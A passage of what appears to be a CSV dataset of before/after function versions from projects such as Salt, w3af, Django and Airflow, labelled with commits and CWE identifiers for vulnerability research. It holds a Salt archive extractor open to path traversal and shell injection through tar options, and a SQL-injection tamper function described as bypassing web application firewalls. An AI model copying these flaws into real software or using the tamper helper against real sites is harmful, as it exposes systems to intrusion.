                    {'source_hash': source_hash},
                    {'makedirs': True},
                    {'saltenv': __env__}
                ]
            }
        }
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[file_result.iterkeys().next()]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            log.debug('Untar {0} in {1}'.format(filename, name))

            results = __salt__['cmd.run_all']('tar x{0} -f {1!r}'.format(
                tar_options, filename), cwd=name)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar') == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'
    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret",CWE-22,saltstack/salt,6a530e7b89db38dda6245fef63bab2c3d754c912,"def extracted(name,
              source,
              archive_format,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c, etc. and -f/--file are
        **shoult not be used** here.
        If this option is not set, then the Python tarfile module is used.
        The tarfile module supports gzip and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        data = {
            filename: {
                'file': [
                    'managed',
                    {'name': filename},
                    {'source': source},
                    {'source_hash': source_hash},
                    {'makedirs': True},
                    {'saltenv': __env__}
                ]
            }
        }
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[file_result.iterkeys().next()]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            log.debug('Untar {0} in {1}'.format(filename, name))

            results = __salt__['cmd.run_all']('tar {0} -f {1!r}'.format(
                tar_options, filename), cwd=name)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar') == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'
    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,tamper/randomcase.py,0,"def tamper(payload, **kwargs):
    """"""
    Replaces each keyword character with random case value

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions
        * This tamper script should work against all (?) databases

    >>> import random
    >>> random.seed(0)
    >>> tamper('INSERT')
    'INseRt'
    """"""

    retVal = payload

    if payload:
        for match in re.finditer(r""[A-Za-z_]+"", retVal):
            word = match.group()

            if word.upper() in kb.keywords:
                _ = str()

                for i in xrange(len(word)):
                    _ += word[i].upper() if randomRange(0, 1) else word[i].lower()

                retVal = retVal.replace(word, _)

    return retVal",,andresriancho/w3af,4cb378ce3e34003219668785cb8a20cc10874e88,"def tamper(payload, **kwargs):
    """"""
    Replaces each keyword character with random case value

    Example:
        * Input: INSERT
        * Output: InsERt

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions
        * This tamper script should work against all (?) databases
    """"""

    retVal = payload

    if payload:
        for match in re.finditer(r""[A-Za-z_]+"", retVal):
            word = match.group()

            if word.upper() in kb.keywords:
                _ = str()

                for i in xrange(len(word)):
                    _ += word[i].upper() if randomRange(0, 1) else word[i].lower()

                retVal = retVal.replace(word, _)

    return retVal"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/f5/bigip_device_sshd.py,0,"def allow(self):
        if self._values['allow'] is None:
            return None
        allow = self._values['allow']
        result = list(set([str(x) for x in allow]))
        result = sorted(result)
        return result",,ansible/ansible,d19108e592fb34b237abb6d07fae87b0b1ea51b0,"def allow(self):
        if self._values['allow'] is None:
            return None
        allow = self._values['allow']
        return list(set([str(x) for x in allow]))"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/widgets/widget.py,0,"def _repr_widget_(self, **kwargs):
        """"""Function that is called when `IPython.display.display` is called on
        the widget.

        Parameters
        ----------
        view_name: unicode (optional)
            View to display in the frontend.  Overrides view_name.""""""
            
        # Show view.  By sending a display message, the comm is opened and the
        # initial state is sent.
        self._send({""method"": ""display"", ""view_name"": view_name})
        self._displayed = True
        self._handle_displayed(**kwargs)",,jupyter/notebook,463bcf85ee04dbc54c9e29e78aa3630f33970039,"def _repr_widget_(self, **kwargs):
        """"""Function that is called when `IPython.display.display` is called on
        the widget.

        Parameters
        ----------
        view_name: unicode (optional)
            View to display in the frontend.  Overrides view_name.""""""
            
        # Show view.
        self._send({""method"": ""display"", ""view_name"": view_name})
        self._displayed = True
        self._handle_displayed(**kwargs)"
,UNKNOWN,UNKNOWN,django/db/models/sql/query.py,1,"def build_filter(self, filter_expr, branch_negated=False, current_negated=False,
                     can_reuse=None, connector=AND, allow_joins=True, split_subq=True):
        """"""
        Builds a WhereNode for a single filter clause, but doesn't add it
        to this Query. Query.add_q() will then add this filter to the where
        Node.

        The 'branch_negated' tells us if the current branch contains any
        negations. This will be used to determine if subqueries are needed.

        The 'current_negated' is used to determine if the current filter is
        negated or not and this will be used to determine if IS NULL filtering
        is needed.

        The difference between current_netageted and branch_negated is that
        branch_negated is set on first negation, but current_negated is
        flipped for each negation.

        Note that add_filter will not do any negating itself, that is done
        upper in the code by add_q().

        The 'can_reuse' is a set of reusable joins for multijoins.

        The method will create a filter clause that can be added to the current
        query. However, if the filter isn't added to the query then the caller
        is responsible for unreffing the joins used.
        """"""
        if isinstance(filter_expr, dict):
            raise FieldError(""Cannot parse keyword query as dict"")
        arg, value = filter_expr
        if not arg:
            raise FieldError(""Cannot parse keyword query %r"" % arg)
        lookups, parts, reffed_expression = self.solve_lookup_type(arg)
        if not allow_joins and len(parts) > 1:
            raise FieldError(""Joined field references are not permitted in this query"")

        # Work out the lookup type and remove it from the end of 'parts',
        # if necessary.
        value, lookups, used_joins = self.prepare_lookup_value(value, lookups, can_reuse, allow_joins)

        clause = self.where_class()
        if reffed_expression:
            condition = self.build_lookup(lookups, reffed_expression, value)
            clause.add(condition, AND)
            return clause, []

        opts = self.get_meta()
        alias = self.get_initial_alias()
        allow_many = not branch_negated or not split_subq

        try:
            field, sources, opts, join_list, path = self.setup_joins(
                parts, opts, alias, can_reuse=can_reuse, allow_many=allow_many)

            # Prevent iterator from being consumed by check_related_objects()
            if isinstance(value, Iterator):
                value = list(value)
            self.check_related_objects(field, value, opts)

            # split_exclude() needs to know which joins were generated for the
            # lookup parts
            self._lookup_joins = join_list
        except MultiJoin as e:
            return self.split_exclude(filter_expr, LOOKUP_SEP.join(parts[:e.level]),
                                      can_reuse, e.names_with_path)

        # Update used_joins before trimming since they are reused to determine
        # which joins could be later promoted to INNER.
        used_joins = set(used_joins).union(set(join_list))
        targets, alias, join_list = self.trim_joins(sources, join_list, path)
        if can_reuse is not None:
            can_reuse.update(join_list)

        if field.is_relation:
            # No support for transforms for relational fields
            num_lookups = len(lookups)
            if num_lookups > 1:
                raise FieldError('Related Field got invalid lookup: {}'.format(lookups[0]))
            assert num_lookups > 0  # Likely a bug in Django if this fails.
            lookup_class = field.get_lookup(lookups[0])
            if lookup_class is None:
                raise FieldError('Related Field got invalid lookup: {}'.format(lookups[0]))
            if len(targets) == 1:
                lhs = targets[0].get_col(alias, field)
            else:
                lhs = MultiColSource(alias, targets, sources, field)
            condition = lookup_class(lhs, value)
            lookup_type = lookup_class.lookup_name
        else:
            col = targets[0].get_col(alias, field)
            condition = self.build_lookup(lookups, col, value)
            lookup_type = condition.lookup_name

        clause.add(condition, AND)

        require_outer = lookup_type == 'isnull' and value is True and not current_negated
        if current_negated and (lookup_type != 'isnull' or value is False):
            require_outer = True
            if (lookup_type != 'isnull' and (
                    self.is_nullable(targets[0]) or
                    self.alias_map[join_list[-1]].join_type == LOUTER)):
                # The condition added here will be SQL like this:
                # NOT (col IS NOT NULL), where the first NOT is added in
                # upper layers of code. The reason for addition is that if col
                # is null, then col != someval will result in SQL ""unknown""
                # which isn't the same as in Python. The Python None handling
                # is wanted, and it can be gotten by
                # (col IS NULL OR col != someval)
                #   <=>
                # NOT (col IS NOT NULL AND col = someval).
                lookup_class = targets[0].get_lookup('isnull')
                clause.add(lookup_class(targets[0].get_col(alias, sources[0]), False), AND)
        return clause, used_joins if not require_outer else ()",CWE-703,django/django,e124d2da94cc1233729d8f0200809589f6c5afc8,"def build_filter(self, filter_expr, branch_negated=False, current_negated=False,
                     can_reuse=None, connector=AND, allow_joins=True, split_subq=True):
        """"""
        Builds a WhereNode for a single filter clause, but doesn't add it
        to this Query. Query.add_q() will then add this filter to the where
        Node.

        The 'branch_negated' tells us if the current branch contains any
        negations. This will be used to determine if subqueries are needed.

        The 'current_negated' is used to determine if the current filter is
        negated or not and this will be used to determine if IS NULL filtering
        is needed.

        The difference between current_netageted and branch_negated is that
        branch_negated is set on first negation, but current_negated is
        flipped for each negation.

        Note that add_filter will not do any negating itself, that is done
        upper in the code by add_q().

        The 'can_reuse' is a set of reusable joins for multijoins.

        The method will create a filter clause that can be added to the current
        query. However, if the filter isn't added to the query then the caller
        is responsible for unreffing the joins used.
        """"""
        if isinstance(filter_expr, dict):
            raise FieldError(""Cannot parse keyword query as dict"")
        arg, value = filter_expr
        if not arg:
            raise FieldError(""Cannot parse keyword query %r"" % arg)
        lookups, parts, reffed_expression = self.solve_lookup_type(arg)
        if not allow_joins and len(parts) > 1:
            raise FieldError(""Joined field references are not permitted in this query"")

        # Work out the lookup type and remove it from the end of 'parts',
        # if necessary.
        value, lookups, used_joins = self.prepare_lookup_value(value, lookups, can_reuse, allow_joins)

        clause = self.where_class()
        if reffed_expression:
            condition = self.build_lookup(lookups, reffed_expression, value)
            clause.add(condition, AND)
            return clause, []

        opts = self.get_meta()
        alias = self.get_initial_alias()
        allow_many = not branch_negated or not split_subq

        try:
            field, sources, opts, join_list, path = self.setup_joins(
                parts, opts, alias, can_reuse=can_reuse, allow_many=allow_many)

            # Prevent iterator from being consumed by check_related_objects()
            if isinstance(value, Iterator):
                value = list(value)
            self.check_related_objects(field, value, opts)

            # split_exclude() needs to know which joins were generated for the
            # lookup parts
            self._lookup_joins = join_list
        except MultiJoin as e:
            return self.split_exclude(filter_expr, LOOKUP_SEP.join(parts[:e.level]),
                                      can_reuse, e.names_with_path)

        if can_reuse is not None:
            can_reuse.update(join_list)
        used_joins = set(used_joins).union(set(join_list))
        targets, alias, join_list = self.trim_joins(sources, join_list, path)

        if field.is_relation:
            # No support for transforms for relational fields
            num_lookups = len(lookups)
            if num_lookups > 1:
                raise FieldError('Related Field got invalid lookup: {}'.format(lookups[0]))
            assert num_lookups > 0  # Likely a bug in Django if this fails.
            lookup_class = field.get_lookup(lookups[0])
            if lookup_class is None:
                raise FieldError('Related Field got invalid lookup: {}'.format(lookups[0]))
            if len(targets) == 1:
                lhs = targets[0].get_col(alias, field)
            else:
                lhs = MultiColSource(alias, targets, sources, field)
            condition = lookup_class(lhs, value)
            lookup_type = lookup_class.lookup_name
        else:
            col = targets[0].get_col(alias, field)
            condition = self.build_lookup(lookups, col, value)
            lookup_type = condition.lookup_name

        clause.add(condition, AND)

        require_outer = lookup_type == 'isnull' and value is True and not current_negated
        if current_negated and (lookup_type != 'isnull' or value is False):
            require_outer = True
            if (lookup_type != 'isnull' and (
                    self.is_nullable(targets[0]) or
                    self.alias_map[join_list[-1]].join_type == LOUTER)):
                # The condition added here will be SQL like this:
                # NOT (col IS NOT NULL), where the first NOT is added in
                # upper layers of code. The reason for addition is that if col
                # is null, then col != someval will result in SQL ""unknown""
                # which isn't the same as in Python. The Python None handling
                # is wanted, and it can be gotten by
                # (col IS NULL OR col != someval)
                #   <=>
                # NOT (col IS NOT NULL AND col = someval).
                lookup_class = targets[0].get_lookup('isnull')
                clause.add(lookup_class(targets[0].get_col(alias, sources[0]), False), AND)
        return clause, used_joins if not require_outer else ()"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/gui/win32k_core.py,0,"def threads(self):
        """"""Generator for _EPROCESS objects attached to this desktop""""""
        for ti in self.PtiList.list_of_type(""tagTHREADINFO"", ""PtiLink""):
            if ti.ppi.Process.is_valid():
                yield ti",,volatilityfoundation/volatility,aeefe2f0e1f2662dc7426e485107effee9ad57d2,"def threads(self):
        """"""Generator for _EPROCESS objects attached to this desktop""""""
        for ti in self.PtiList.list_of_type(""tagTHREADINFO"", ""PtiLink""):
            yield ti"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/web.py,0,"def wrapper(self, *args, **kwargs):
        self._auto_finish = False
        with stack_context.ExceptionStackContext(
                self._stack_context_handle_exception):
            result = method(self, *args, **kwargs)
            if is_future(result):
                # If @asynchronous is used with @gen.coroutine, (but
                # not @gen.engine), we can automatically finish the
                # request when the future resolves.  Additionally,
                # the Future will swallow any exceptions so we need
                # to throw them back out to the stack context to finish
                # the request.
                def future_complete(f):
                    f.result()
                    if not self._finished:
                        self.finish()
                IOLoop.current().add_future(result, future_complete)
                # Once we have done this, hide the Future from our
                # caller (i.e. RequestHandler._when_complete), which
                # would otherwise set up its own callback and
                # exception handler (resulting in exceptions being
                # logged twice).
                return None
            return result",CWE-Unknown,tornadoweb/tornado,32e82f880f1b3bf389c25810dc3eac3591470867,"def wrapper(self, *args, **kwargs):
        self._auto_finish = False
        with stack_context.ExceptionStackContext(
                self._stack_context_handle_exception):
            result = method(self, *args, **kwargs)
            if isinstance(result, Future):
                # If @asynchronous is used with @gen.coroutine, (but
                # not @gen.engine), we can automatically finish the
                # request when the future resolves.  Additionally,
                # the Future will swallow any exceptions so we need
                # to throw them back out to the stack context to finish
                # the request.
                def future_complete(f):
                    f.result()
                    if not self._finished:
                        self.finish()
                IOLoop.current().add_future(result, future_complete)
                # Once we have done this, hide the Future from our
                # caller (i.e. RequestHandler._when_complete), which
                # would otherwise set up its own callback and
                # exception handler (resulting in exceptions being
                # logged twice).
                return None
            return result"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/jobs/triggerer_job_runner.py,0,"def update_triggers(self, requested_trigger_ids: set[int]):
        """"""
        Called from the main thread to request that we update what
        triggers we're running.

        Works out the differences - ones to add, and ones to remove - then
        adds them to the deques so the subthread can actually mutate the running
        trigger set.
        """"""
        # Note that `triggers` could be mutated by the other thread during this
        # line's execution, but we consider that safe, since there's a strict
        # add -> remove -> never again lifecycle this function is already
        # handling.
        running_trigger_ids = set(self.triggers.keys())
        known_trigger_ids = (
            running_trigger_ids.union(x[0] for x in self.events)
            .union(self.to_cancel)
            .union(x[0] for x in self.to_create)
            .union(trigger[0] for trigger in self.failed_triggers)
        )
        # Work out the two difference sets
        new_trigger_ids = requested_trigger_ids - known_trigger_ids
        cancel_trigger_ids = running_trigger_ids - requested_trigger_ids
        # Bulk-fetch new trigger records
        new_triggers = Trigger.bulk_fetch(new_trigger_ids)
        # Add in new triggers
        for new_id in new_trigger_ids:
            # Check it didn't vanish in the meantime
            if new_id not in new_triggers:
                self.log.warning(""Trigger ID %s disappeared before we could start it"", new_id)
                continue
            # Resolve trigger record into an actual class instance
            try:
                new_trigger_orm = new_triggers[new_id]
                trigger_class = self.get_trigger_by_classpath(new_trigger_orm.classpath)
            except BaseException as e:
                # Either the trigger code or the path to it is bad. Fail the trigger.
                self.failed_triggers.append((new_id, e))
                continue

            try:
                new_trigger_instance = trigger_class(**new_trigger_orm.kwargs)
            except TypeError as err:
                self.log.error(""Trigger failed; message=%s"", err)
                self.failed_triggers.append((new_id, err))
                continue

            self.set_trigger_logging_metadata(new_trigger_orm.task_instance, new_id, new_trigger_instance)
            self.to_create.append((new_id, new_trigger_instance))
        # Enqueue orphaned triggers for cancellation
        for old_id in cancel_trigger_ids:
            self.to_cancel.append(old_id)",CWE-Unknown,apache/airflow,a1ba15570219d2fe77466367e84fafa92cbdb24e,"def update_triggers(self, requested_trigger_ids: set[int]):
        """"""
        Called from the main thread to request that we update what
        triggers we're running.

        Works out the differences - ones to add, and ones to remove - then
        adds them to the deques so the subthread can actually mutate the running
        trigger set.
        """"""
        # Note that `triggers` could be mutated by the other thread during this
        # line's execution, but we consider that safe, since there's a strict
        # add -> remove -> never again lifecycle this function is already
        # handling.
        running_trigger_ids = set(self.triggers.keys())
        known_trigger_ids = (
            running_trigger_ids.union(x[0] for x in self.events)
            .union(self.to_cancel)
            .union(x[0] for x in self.to_create)
            .union(trigger[0] for trigger in self.failed_triggers)
        )
        # Work out the two difference sets
        new_trigger_ids = requested_trigger_ids - known_trigger_ids
        cancel_trigger_ids = running_trigger_ids - requested_trigger_ids
        # Bulk-fetch new trigger records
        new_triggers = Trigger.bulk_fetch(new_trigger_ids)
        # Add in new triggers
        for new_id in new_trigger_ids:
            # Check it didn't vanish in the meantime
            if new_id not in new_triggers:
                self.log.warning(""Trigger ID %s disappeared before we could start it"", new_id)
                continue
            # Resolve trigger record into an actual class instance
            try:
                new_trigger_orm = new_triggers[new_id]
                trigger_class = self.get_trigger_by_classpath(new_trigger_orm.classpath)
            except BaseException as e:
                # Either the trigger code or the path to it is bad. Fail the trigger.
                self.failed_triggers.append((new_id, e))
                continue
            new_trigger_instance = trigger_class(**new_trigger_orm.kwargs)
            self.set_trigger_logging_metadata(new_trigger_orm.task_instance, new_id, new_trigger_instance)
            self.to_create.append((new_id, new_trigger_instance))
        # Enqueue orphaned triggers for cancellation
        for old_id in cancel_trigger_ids:
            self.to_cancel.append(old_id)"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/operators/test_bigquery.py,1,"def test_job_id_validity(self, mock_md5, test_dag_id, expected_job_id):
        hash_ = ""hash""
        mock_md5.return_value.hexdigest.return_value = hash_
        context = {""logical_date"": datetime(2020, 1, 23)}
        configuration = {
            ""query"": {
                ""query"": ""SELECT * FROM any"",
                ""useLegacySql"": False,
            }
        }
        with DAG(dag_id=test_dag_id, start_date=datetime(2020, 1, 23)):
            op = BigQueryInsertJobOperator(
                task_id=""test_job_id"", configuration=configuration, project_id=TEST_GCP_PROJECT_ID
            )
        assert op._job_id(context) == expected_job_id",CWE-703,apache/airflow,c01a5a50b44bf2cd0d980123549e3c8d5cfe7521,"def test_job_id_validity(self, mock_md5, test_dag_id, expected_job_id):
        hash_ = ""hash""
        mock_md5.return_value.hexdigest.return_value = hash_
        context = {""execution_date"": datetime(2020, 1, 23)}
        configuration = {
            ""query"": {
                ""query"": ""SELECT * FROM any"",
                ""useLegacySql"": False,
            }
        }
        with DAG(dag_id=test_dag_id, start_date=datetime(2020, 1, 23)):
            op = BigQueryInsertJobOperator(
                task_id=""test_job_id"", configuration=configuration, project_id=TEST_GCP_PROJECT_ID
            )
        assert op._job_id(context) == expected_job_id"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/i18n/tests.py,0,"def test_l10n_enabled(self):
        self.maxDiff = 3000
        # Catalan locale
        with translation.override('ca', deactivate=True):
            self.assertEqual(r'j \d\e F \d\e Y', get_format('DATE_FORMAT'))
            self.assertEqual(1, get_format('FIRST_DAY_OF_WEEK'))
            self.assertEqual(',', get_format('DECIMAL_SEPARATOR'))
            self.assertEqual('10:15', time_format(self.t))
            self.assertEqual('31 de desembre de 2009', date_format(self.d))
            self.assertEqual('desembre del 2009', date_format(self.d, 'YEAR_MONTH_FORMAT'))
            self.assertEqual('31/12/2009 20:50', date_format(self.dt, 'SHORT_DATETIME_FORMAT'))
            self.assertEqual('No localizable', localize('No localizable'))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual('66.666,666', localize(self.n))
                self.assertEqual('99.999,999', localize(self.f))
                self.assertEqual('10.000', localize(self.l))
                self.assertEqual('True', localize(True))

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                self.assertEqual('66666,666', localize(self.n))
                self.assertEqual('99999,999', localize(self.f))
                self.assertEqual('10000', localize(self.l))
                self.assertEqual('31 de desembre de 2009', localize(self.d))
                self.assertEqual('31 de desembre de 2009 a les 20:50', localize(self.dt))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                self.assertEqual('66.666,666', Template('{{ n }}').render(self.ctxt))
                self.assertEqual('99.999,999', Template('{{ f }}').render(self.ctxt))
                self.assertEqual('10.000', Template('{{ l }}').render(self.ctxt))

            with self.settings(USE_THOUSAND_SEPARATOR=True):
                form3 = I18nForm({
                    'decimal_field': '66.666,666',
                    'float_field': '99.999,999',
                    'date_field': '31/12/2009',
                    'datetime_field': '31/12/2009 20:50',
                    'time_field': '20:50',
                    'integer_field': '1.234',
                })
                self.assertTrue(form3.is_valid())
                self.assertEqual(decimal.Decimal('66666.666'), form3.cleaned_data['decimal_field'])
                self.assertEqual(99999.999, form3.cleaned_data['float_field'])
                self.assertEqual(datetime.date(2009, 12, 31), form3.cleaned_data['date_field'])
                self.assertEqual(datetime.datetime(2009, 12, 31, 20, 50), form3.cleaned_data['datetime_field'])
                self.assertEqual(datetime.time(20, 50), form3.cleaned_data['time_field'])
                self.assertEqual(1234, form3.cleaned_data['integer_field'])

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                self.assertEqual('66666,666', Template('{{ n }}').render(self.ctxt))
                self.assertEqual('99999,999', Template('{{ f }}').render(self.ctxt))
                self.assertEqual('31 de desembre de 2009', Template('{{ d }}').render(self.ctxt))
                self.assertEqual('31 de desembre de 2009 a les 20:50', Template('{{ dt }}').render(self.ctxt))
                self.assertEqual('66666,67', Template('{{ n|floatformat:2 }}').render(self.ctxt))
                self.assertEqual('100000,0', Template('{{ f|floatformat }}').render(self.ctxt))
                self.assertEqual('10:15', Template('{{ t|time:""TIME_FORMAT"" }}').render(self.ctxt))
                self.assertEqual('31/12/2009', Template('{{ d|date:""SHORT_DATE_FORMAT"" }}').render(self.ctxt))
                self.assertEqual(
                    '31/12/2009 20:50',
                    Template('{{ dt|date:""SHORT_DATETIME_FORMAT"" }}').render(self.ctxt)
                )
                self.assertEqual(date_format(datetime.datetime.now(), ""DATE_FORMAT""),
                                 Template('{% now ""DATE_FORMAT"" %}').render(self.ctxt))

            with self.settings(USE_THOUSAND_SEPARATOR=False):
                form4 = I18nForm({
                    'decimal_field': '66666,666',
                    'float_field': '99999,999',
                    'date_field': '31/12/2009',
                    'datetime_field': '31/12/2009 20:50',
                    'time_field': '20:50',
                    'integer_field': '1234',
                })
                self.assertTrue(form4.is_valid())
                self.assertEqual(decimal.Decimal('66666.666'), form4.cleaned_data['decimal_field'])
                self.assertEqual(99999.999, form4.cleaned_data['float_field'])
                self.assertEqual(datetime.date(2009, 12, 31), form4.cleaned_data['date_field'])
                self.assertEqual(datetime.datetime(2009, 12, 31, 20, 50), form4.cleaned_data['datetime_field'])
                self.assertEqual(datetime.time(20, 50), form4.cleaned_data['time_field'])
                self.assertEqual(1234, form4.cleaned_data['integer_field'])

            form5 = SelectDateForm({
                'date_field_month': '12',
                'date_field_day': '31',
                'date_field_year': '2009'
            })
            self.assertTrue(form5.is_valid())
            self.assertEqual(datetime.date(2009, 12, 31), form5.cleaned_data['date_field'])
            self.assertHTMLEqual(
                '<select name=""mydate_day"" id=""id_mydate_day"">'
                '<option value=""0"">---</option>'
                '<option value=""1"">1</option>'
                '<option value=""2"">2</option>'
                '<option value=""3"">3</option>'
                '<option value=""4"">4</option>'
                '<option value=""5"">5</option>'
                '<option value=""6"">6</option>'
                '<option value=""7"">7</option>'
                '<option value=""8"">8</option>'
                '<option value=""9"">9</option>'
                '<option value=""10"">10</option>'
                '<option value=""11"">11</option>'
                '<option value=""12"">12</option>'
                '<option value=""13"">13</option>'
                '<option value=""14"">14</option>'
                '<option value=""15"">15</option>'
                '<option value=""16"">16</option>'
                '<option value=""17"">17</option>'
                '<option value=""18"">18</option>'
                '<option value=""19"">19</option>'
                '<option value=""20"">20</option>'
                '<option value=""21"">21</option>'
                '<option value=""22"">22</option>'
                '<option value=""23"">23</option>'
                '<option value=""24"">24</option>'
                '<option value=""25"">25</option>'
                '<option value=""26"">26</option>'
                '<option value=""27"">27</option>'
                '<option value=""28"">28</option>'
                '<option value=""29"">29</option>'
                '<option value=""30"">30</option>'
                '<option value=""31"" selected=""selected"">31</option>'
                '</select>'
                '<select name=""mydate_month"" id=""id_mydate_month"">'
                '<option value=""0"">---</option>'
                '<option value=""1"">gener</option>'
                '<option value=""2"">febrer</option>'
                '<option value=""3"">mar\xe7</option>'
                '<option value=""4"">abril</option>'
                '<option value=""5"">maig</option>'
                '<option value=""6"">juny</option>'
                '<option value=""7"">juliol</option>'
                '<option value=""8"">agost</option>'
                '<option value=""9"">setembre</option>'
                '<option value=""10"">octubre</option>'
                '<option value=""11"">novembre</option>'
                '<option value=""12"" selected=""selected"">desembre</option>'
                '</select>'
                '<select name=""mydate_year"" id=""id_mydate_year"">'
                '<option value=""0"">---</option>'
                '<option value=""2009"" selected=""selected"">2009</option>'
                '<option value=""2010"">2010</option>'
                '<option value=""2011"">2011</option>'
                '<option value=""2012"">2012</option>'
